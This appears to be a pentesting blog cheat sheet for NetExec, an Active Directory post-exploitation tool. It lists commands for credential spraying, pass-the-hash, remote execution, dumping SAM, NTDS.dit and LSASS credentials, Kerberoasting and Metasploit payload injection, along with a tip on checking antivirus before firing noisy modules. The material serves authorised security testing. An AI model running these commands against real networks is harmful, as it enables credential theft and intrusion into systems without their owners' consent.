root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat netexec.md
// Active Directory

NetExec

21 Jul 2026 · 6 min read
NetExec (the active successor to CrackMapExec, which keeps the nxc binary) is a post-exploitation tool for pentesting Windows and Active Directory networks. From a single line it validates credentials, enumerates shares and users, and executes commands over protocols such as SMB, WinRM, SSH and LDAP. It is one of the tools that saves the most time when moving laterally across a domain.

NetExec's real power lies in operating at scale: it accepts CIDR ranges and lists of users/passwords or hashes, and flags each attempt as [+] (valid) or (Pwn3d!) when the credential holds administrative privileges. Understanding that distinction is key, because a hit does not guarantee you can run commands or dump credentials: for --sam, --ntds or pass-the-hash with execution you need local or domain administrator privileges over the target.

1. Beginner level — enumeration and credential validation

NETEXEC cheat sheet — Beginner
CommandWhat it does
nxc smb <t>Checks whether the SMB host responds and its version
nxc smb <rango>/24Scans an entire subnet looking for SMB hosts
nxc smb <t> -u user -p passTests a single credential against SMB
nxc smb <t> -u user -p pass --local-authAuthenticates as a local user, not a domain one
nxc smb <t> -u <users> -p <pass>Tests several username/password combinations
nxc smb <t> -u user -p pass --sharesEnumerates the accessible shares
nxc smb <t> -u user -p pass --usersEnumerates the domain users
nxc smb <t> -u user -p pass --groupsEnumerates the domain groups
nxc smb <t> -u user -p pass --pass-polEnumerates the password policy
nxc winrm <t> -u user -p passChecks access via WinRM
nxc ssh <t> -u user -p passChecks access via SSH
nxc smb <t> -u user -p pass --samDumps the local SAM database
nxc smb <t> -u user -H <hash>Authenticates with an NTLM hash (pass-the-hash)
nxc ldap <t> -u user -p passChecks access via LDAP

2. Advanced level — execution, dumps and roasting

NETEXEC cheat sheet — Advanced
CommandWhat it does
nxc smb <t> -u user -p pass -x "whoami"Runs a remote command (cmd)
nxc smb <t> -u user -p pass -X "whoami"Runs a command via PowerShell
nxc smb <t> -u user -p pass -M spider_plusCrawls and downloads files from shares
nxc smb <t> -u user -p pass -M lsassyDumps credentials from LSASS
nxc smb <t> -u user -p pass --ntdsDumps the NTDS.dit database
nxc smb <t> -u user -p pass --kerberoasting out.txtPerforms a Kerberoasting attack
nxc smb <t> -u user -p pass --asreproast out.txtPerforms an AS-REP Roasting attack
nxc smb <t> -u user -p pass --sessionsEnumerates active sessions on the host
nxc smb <t> -u user -p pass --loggedon-usersShows users with a logged-on session
nxc smb <t> -u user -p pass -M met_injectInjects a Metasploit payload
nxc smb <t> -d dominio -u user -p passSpecifies the authentication domain
nxc smb <t> -u user -p pass --continue-on-successKeeps testing credentials after a hit
nxc ldap <t> -u user -p pass -M get-desc-usersSearches for passwords in LDAP descriptions
nxc smb <t> -u user -p pass -M enum_avEnumerates the installed antivirus

3. Details people miss

  • The binary is nxc, not crackmapexec: NetExec is the fork maintained after CME was abandoned, so ignore old cheatsheets that use the legacy binary.
  • To authenticate against non-domain machines (or local accounts) you need --local-auth; without it, NetExec attempts domain authentication and will fail.
  • The (Pwn3d!) marker signals administrative privileges: without it, options like --sam, --ntds or execution with -x/-X will not work even if the credential is valid.
  • --ntds must be run against a Domain Controller with a domain-admin account; against a regular host there is no NTDS.dit database to dump.
  • Modules like lsassy or met_inject touch the LSASS process memory or inject payloads: they are noisy and often trip the EDR/antivirus, so pair them with enum_av before firing.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.